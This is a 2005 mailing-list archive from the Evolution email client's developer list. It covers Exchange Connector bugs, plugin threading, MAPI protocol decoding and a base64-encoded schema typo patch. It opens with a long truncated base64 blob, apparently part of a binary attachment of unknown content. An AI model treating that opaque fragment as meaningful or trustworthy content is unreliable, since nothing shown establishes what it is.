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 xcK+yPmvF9ocP2FQA/xTfmkzb4KD9HLU6+RKtQsQF9grJ6DFdzXhHHqtZxKrLA0hW8bPNIS4 c0KupEVI6+nUXvtMKsYjfoSFED9mhv4HNVHs5nm7JcyIEEgbybCRFs5YPQ4FfD6tKabMwS5j JtKmOoMK50OgkO6RY6oBXkO7FrPM0ESTYa0uZPtIMtC/Wt/zgP3CDPW0bRoqrRz3ng6hJG6p q1w4GzLQfH3gjCzIgqoV+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAgADAAAAIAAAgA4AAACQAACAAAAAAAAAAAAAAAAAAAACAAEAAABAAACAAgAAAGgA AIAAAAAAAAAAAAAAAAAAAAEAAAAAAFgAAADQ8AAAMAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAABAAAAAACAAAAAAPIAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAAqAAAgAAA AAAAAAAAAAAAAAAAAQAAAAAAwAAAAOj0AAAiAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAEA AAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAD///gAwwYYAP//+ADDn hgA6y6YAPMGOAD///vwwwYaEP//+/DjjBoQww1b8OuuuhDjjjvw///6EAAAA/D///oQAAAD8 AAD/hAAA//wAAAAAAMD//AEoAAABAAAAASgAAADAAAAAAAAAAAAAAAP//8AAAAAAAAAAAP// //+AAAD/gAAA/4AAAP+AAAD/gAAA/4AAAP+AAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAB gAAAAYAAAAGAAAABgAAAAYAAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAB/4AAAf+AAAH/gA AB/4AAAf+AAAH/gAAB//////KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8A AAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3d3d3d3d3AAAAAAAAAAAAAAAA AAAABwAAAAAP/////////////wcAAAAAD/AAD/AAAP8AAP8HAAAAAA//////////////BwAA AAAP9VUP/wD//wAA/wcAAAAAD/8PX/ALD/8OwP8Hd3d3cA//9Q/wAAD/AAD/AAAAAHAP//// /////////wj///BwD/AAD/AAAP8AAP8IAADwcA//////////////CP//8HAP9wAP/wAP8AAA /wgAAPBwD/AAD/AAD/B3AP8I///wcA//Dw//Bg//fA//CAAA8HAP/wAP/wAP/3cP/wj///Bw D/////////////8IAADwcAAAAAAAAAAAAAAACP//8HAO7u7u7u7u7u7u7ggAAPBwAAAAAAAA AAAAAAAP///wcAAABMTExMQP/////wAA8HAAAAxMTExMD/////////BwAAAExMTExAAAAAAA AAAAcAAADE/8TEwO7u7u7u7u4AAAAAT0z8/EAAAAAAAAAAAAAAAM/ExMTExMTExMQHAAAAAA BPTPz8TExMTExMBwAAAAAAxP/ExMTExMTExAcAAAAAAExMTExMTExMTEwHAAAAAAAAAAAAAA AAAAAABwAAAAAA7u7u7u7u7u7u7gcAAAAAAAAAAAAAAAAAAAAAAAAP////+AAAD/AAAA/wAA AP8AAAD/AAAA/wAAAP8AAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAAB AAAAAQAAAAEAAAAB8AAAAfAAAAHwAAAB8AAAA/AAAAPwAAAf8AAAH/AAAB/wAAAf8AAAH/AA AB/wAAA/AAABAAIAICACAAEAAQAwAQAAAQAgIBAAAQAEAOgCAAACAA9TRpO3jomQWx2zYTIG mIKHLloYU4Waq1kZxUOPdwoZxV0/w307IEEzFxEsb0ogwIu+tAQVBgAHdGZassBRvy+xV5XB OnwZU5OPTlSQjsRQWpq5IbVHAhUPQi6xfVBOvm4XxkRYLpF9U0YtCr22sBgJErEubiGnFGVE ZQ6pIYBztwC3PmYdTLVWfgQfpJw3EpEBg1yEWptOEWRdNx4wlzEJPLWFo6Oaa3RKLqpAEEYX sD98iZWBToaIxUBTXRVxuxu2q5pxIakbOA== ----------vhlhfodqfrrwzyzwayos-- From owner-evolution-hackers@skeptopotamus.ximian.com Thu Feb 10 16:48:37 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id BE1DE124FA8; Thu, 10 Feb 2005 16:48:29 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 83CDF124FC8 for ; Thu, 10 Feb 2005 16:47:05 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 1B77663A6A; Thu, 10 Feb 2005 16:41:19 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id CAFBC64716 for ; Thu, 10 Feb 2005 16:41:18 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Thu, 10 Feb 2005 14:41:07 -0700 Subject: Re: [Evolution-hackers] Looking for evolution-exchange developers... From: Christine McLellan To: Juraj Holtak Cc: evolution In-Reply-To: <1107948205.6935.12.camel@localhost> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> <1107861287.20489.45.camel@linux.site> <1107948205.6935.12.camel@localhost> Content-Type: multipart/alternative; boundary="=-UlT+4YcfROAayPIRAnWM" Date: Thu, 10 Feb 2005 16:40:57 -0500 Message-Id: <1108071657.12192.28.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=-18.1 required=5.0 tests=ASCII_FORM_ENTRY,BAYES_30,EMAIL_ATTRIBUTION,HTML_20_30, IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-UlT+4YcfROAayPIRAnWM Content-Type: text/plain Content-Transfer-Encoding: 7bit Juraj -- Sorry to hear that your company is having trouble, but it is great to hear you are willing to help with product improvement this way. Have you been submitted the bugs you are finding at bugzilla.ximian.com under the Connector component? What version of Evolution and the Exchange Connector are you using? Thanks! -Christine On Wed, 2005-02-09 at 12:23 +0100, Juraj Holtak wrote: > Hi List! > > My Company is willing to PAY an evolution and evolution-exchange hacker > to fix bugs. We have many installations of debianised evolution in a MS > Exchange enviroment and the bugs pop up faster than they are getting > fixed in the debian repository. If u have the will and know-how, please > email me. > This is a serious offer. > > Juraj Holtak > SCHWAAR.COM > Austria > > > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers --=-UlT+4YcfROAayPIRAnWM Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit Juraj -- Sorry to hear that your company is having trouble, but it is great to hear you are willing to help with product improvement this way. 

Have you been submitted the bugs you are finding at bugzilla.ximian.com under the Connector component?  What version of Evolution and the Exchange Connector are you using? 

Thanks!
-Christine


On Wed, 2005-02-09 at 12:23 +0100, Juraj Holtak wrote: 
Hi List!

My Company is willing to PAY an evolution and evolution-exchange hacker
to fix bugs. We have many installations of debianised evolution in a MS
Exchange enviroment and the bugs pop up faster than they are getting
fixed in the debian repository. If u have the will and know-how, please
email me.
This is a serious offer.

Juraj Holtak
SCHWAAR.COM
Austria




_______________________________________________
evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
http://lists.ximian.com/mailman/listinfo/evolution-hackers
--=-UlT+4YcfROAayPIRAnWM-- From smurfd@smurfnet.homelinux.net Fri Feb 11 13:57:09 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 9C882124764; Fri, 11 Feb 2005 13:57:09 -0500 (EST) Received: from mxfep02.bredband.com (mxfep02.bredband.com [195.54.107.73]) by lists.ximian.com (Postfix) with ESMTP id A30BB1242E5 for ; Fri, 11 Feb 2005 13:56:55 -0500 (EST) Received: from smurfnet.homelinux.net ([213.112.73.81] [213.112.73.81]) by mxfep02.bredband.com with ESMTP id <20050211185653.BHWN17521.mxfep02.bredband.com@smurfnet.homelinux.net>; Fri, 11 Feb 2005 19:56:53 +0100 Received: from 192.168.1.1 ([192.168.1.1] helo=192.168.1.5) by smurfnet.homelinux.net with asmtp (Exim 4.34) id 1CzhZu-00016u-8d; Fri, 11 Feb 2005 21:39:50 +0100 Subject: Re: [Evolution-hackers] EPlugin, export mail folder, Update! From: smurfd To: Not Zed Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1106619154.23363.3.camel@lostzed.mmc.com.au> References: <1099011143.1019.11.camel@localhost.localdomain> <1100789458.15224.9.camel@localhost.localdomain> <1100836172.10838.127.camel@lostzed.mmc.com.au> <1100982290.16626.47.camel@localhost.localdomain> <1101095738.8961.19.camel@lostzed.mmc.com.au> <1101225710.23468.50.camel@localhost.localdomain> <1101259289.4648.26.camel@lostzed.mmc.com.au> <1103078190.6171.37.camel@localhost.localdomain> <1103503793.7539.72.camel@lostzed.mmc.com.au> <1106106356.24483.14.camel@localhost.localdomain> <1106108732.28087.28.camel@lostzed.mmc.com.au> <1106187210.1353.23.camel@localhost.localdomain> <1106619154.23363.3.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Fri, 11 Feb 2005 19:55:43 +0100 Message-Id: <1108148144.22547.14.camel@192.168.1.5> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-4.3 required=5.0 tests=BAYES_30,IN_REP_TO,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: >Using the mail-mt stuff is good since it does some of the setup work >for you, and lets you setup 4 callbacks, one to say what you're doing, >one to do the work in the other thread, one to do any work back in the >gui thread, and one to clean up. You also have a little control over >scheduling - i.e. should it run in a new thread or just use one of the >thread queues, so you don't get too much thrashing. Ah okey, well i have been into using that sollution a couple of times, but well i still havent really got it to work as i wanted it. Today i realised Why i havent got it to work as i wanted it. well i have 3 functions in that struct that gets executed, and thought that a 4th could be used to run the compression part there. so i got 'a__desc', 'a__exp', 'a__cpio', 'a__free' so the thought here was to get __exp to deliver the mails to the location where i wanted it, say /home/smurfd/backup/ and then to run the compression on That folder. Why you ask, why not just run the compression on the right-clicked folder? Well ive been heavily debating this (with myself) and after many debates, i came up with that running it on the exported directory would be better, since than i wouldnt have to care about if the user right-clicks a non-local folder, say IMAP or whatever for the compression part. sounds sane? That way, i need to have the "exportion" part to be finished Before the compression part takes place. Easy, just have the compression part take place in the __cpio function, right? NO, that wont work, and after serious thinking, serious headsmashing, i realised Why that is... Thats because in the __exp i have 'mail_get_folder()' wich itself spawns a new thread, and that way, the __exp thinks its work is done, before it "really" is... So im gonna have to borrow some more code i guess... and make small modifications on it to fit my needs. Better to re-use, than to re-invent i guess. :) Best regards /Nicklas From lkcl@lkcl.net Sat Feb 12 18:41:12 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ED8BC1249C1; Sat, 12 Feb 2005 18:41:11 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 36DD4124156 for ; Sat, 12 Feb 2005 18:41:00 -0500 (EST) Received: from lkcl.net (host81-155-76-60.range81-155.btcentralplus.com [81.155.76.60]) by open.hands.com (Postfix) with ESMTP id 6FEA1C647 for ; Sat, 12 Feb 2005 23:40:49 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1D072X-0007oV-Jb for evolution-hackers@lists.ximian.com; Sat, 12 Feb 2005 23:51:05 +0000 Date: Sat, 12 Feb 2005 23:51:05 +0000 From: Luke Kenneth Casson Leighton To: evolution-hackers@lists.ximian.com Message-ID: <20050212235105.GB29946@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=-2.4 required=5.0 tests=BAYES_20,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,USER_AGENT_MUTT version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] making good progress decoding MAPI Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: i've moved on to decoding MAPI. Nspi and EMSMDB, when using muddle to get the basic structure, and using FreeDCE to regenerate code, and looking at Wine's MAPIDEFS.h to fill in the blanks that muddle cannot possibly get, was a piece of piss. MAPI is a complete bitch. i've revived an old project called "aparser" which is an IDL compiler written in awk by andrew tridgell. it's very very useful. basically it can generate code from templates, given an input file specifying the data structures. i might, if it becomes particularly handy, convert it to python, because awk is very obscure. so far i'm generating a "decoder", and have about three functions (request and response) decoded and understood so far using aparser and a further four that need conversion to aparser IDL format. once i am happy with the "decoder", i will write templates that can spew forth client-side code and server-side stubs. i'll then be ready to create an exchange 5.5 server (with some hard-coded responses) and to continue with my test client. wheeee :) so. by the time i am done, there will exist a client-side library for evolution to call DIRECTLY into an Exchange 5.5 server. no DLLs. no pissing about installing client or server code. just free software. l. -- -- http://lkcl.net -- From cwryu@debian.org Sat Feb 12 23:30:22 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8238912452E; Sat, 12 Feb 2005 23:30:22 -0500 (EST) Received: from relaygw1.kornet.net (relaygw1.kornet.net [220.73.155.196]) by lists.ximian.com (Postfix) with ESMTP id F0FC012452E for ; Sat, 12 Feb 2005 23:30:09 -0500 (EST) Received: from [211.48.62.134] ([211.48.62.134]) by relaygw1.kornet.net ([220.73.155.196]) with ESMTP id 2005021313:29:30:641446.14232.57 for ; Sun, 13 Feb 2005 13:29:30 +0900 (KST) Received: from [61.74.110.33] ([61.74.110.33]) by relay7.kornet.net ([211.48.62.134]) with ESMTP id 2005021313:30:11:242649.18969.33160112 for ; Sun, 13 Feb 2005 13:30:11 +0900 (KST) From: Changwoo Ryu To: evolution-hackers Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-VYl5rSBHYbiJ9cahWhZM" Date: Sun, 13 Feb 2005 13:30:05 +0900 Message-Id: <1108269005.6081.50.camel@zeus.codehall.org> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-TERRACE-SPAMMARK: NOT spam-marked. (by Terrace) X-Spam-Status: No, hits=1.8 required=5.0 tests=PGP_SIGNATURE_2,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, RCVD_IN_SBL version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Typos fix in the schemas (needs string changes) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-VYl5rSBHYbiJ9cahWhZM Content-Type: multipart/mixed; boundary="=-3YFoFO18k4r1+HumWCYN" --=-3YFoFO18k4r1+HumWCYN Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Found two typos while translating. One is a simple English typo, the other is a malformed schema (used which should be ). =20 They all needs translation updates. --=20 Changwoo Ryu --=-3YFoFO18k4r1+HumWCYN Content-Disposition: attachment; filename=evolution-schema-fix.diff Content-Type: text/x-patch; name=evolution-schema-fix.diff; charset=UTF-8 Content-Transfer-Encoding: base64 SW5kZXg6IGNhbGVuZGFyL2d1aS9hcHBzX2V2b2x1dGlvbl9jYWxlbmRhci5zY2hlbWFzLmluLmlu DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09DQpSQ1MgZmlsZTogL2N2cy9nbm9tZS9ldm9sdXRpb24vY2FsZW5kYXIvZ3Vp L2FwcHNfZXZvbHV0aW9uX2NhbGVuZGFyLnNjaGVtYXMuaW4uaW4sdg0KcmV0cmlldmluZyByZXZp c2lvbiAxLjcNCmRpZmYgLXUgLXIxLjcgYXBwc19ldm9sdXRpb25fY2FsZW5kYXIuc2NoZW1hcy5p bi5pbg0KLS0tIGNhbGVuZGFyL2d1aS9hcHBzX2V2b2x1dGlvbl9jYWxlbmRhci5zY2hlbWFzLmlu LmluCTggRmViIDIwMDUgMDA6MzU6NTUgLTAwMDAJMS43DQorKysgY2FsZW5kYXIvZ3VpL2FwcHNf ZXZvbHV0aW9uX2NhbGVuZGFyLnNjaGVtYXMuaW4uaW4JMTMgRmViIDIwMDUgMDQ6MjU6MjkgLTAw MDANCkBAIC05NSw3ICs5NSw3IEBADQogICAgICAgPGRlZmF1bHQ+MzA8L2RlZmF1bHQ+DQogICAg ICAgPGxvY2FsZSBuYW1lPSJDIj4NCiAgICAgICAgIDxzaG9ydD5UaW1lIGRpdmlzaW9uczwvc2hv cnQ+DQotICAgICAgICA8c2hvcnQ+SW50ZXJ2YWxzIHNob3duIGluIERheSBhbmQgV29yayBXZWVr IHZpZXdzLCBpbiBtaW51dGVzLjwvc2hvcnQ+DQorICAgICAgICA8bG9uZz5JbnRlcnZhbHMgc2hv d24gaW4gRGF5IGFuZCBXb3JrIFdlZWsgdmlld3MsIGluIG1pbnV0ZXMuPC9sb25nPg0KICAgICAg IDwvbG9jYWxlPg0KICAgICA8L3NjaGVtYT4NCiANCkluZGV4OiBzaGVsbC9hcHBzX2V2b2x1dGlv bl9zaGVsbC5zY2hlbWFzLmluLmluDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 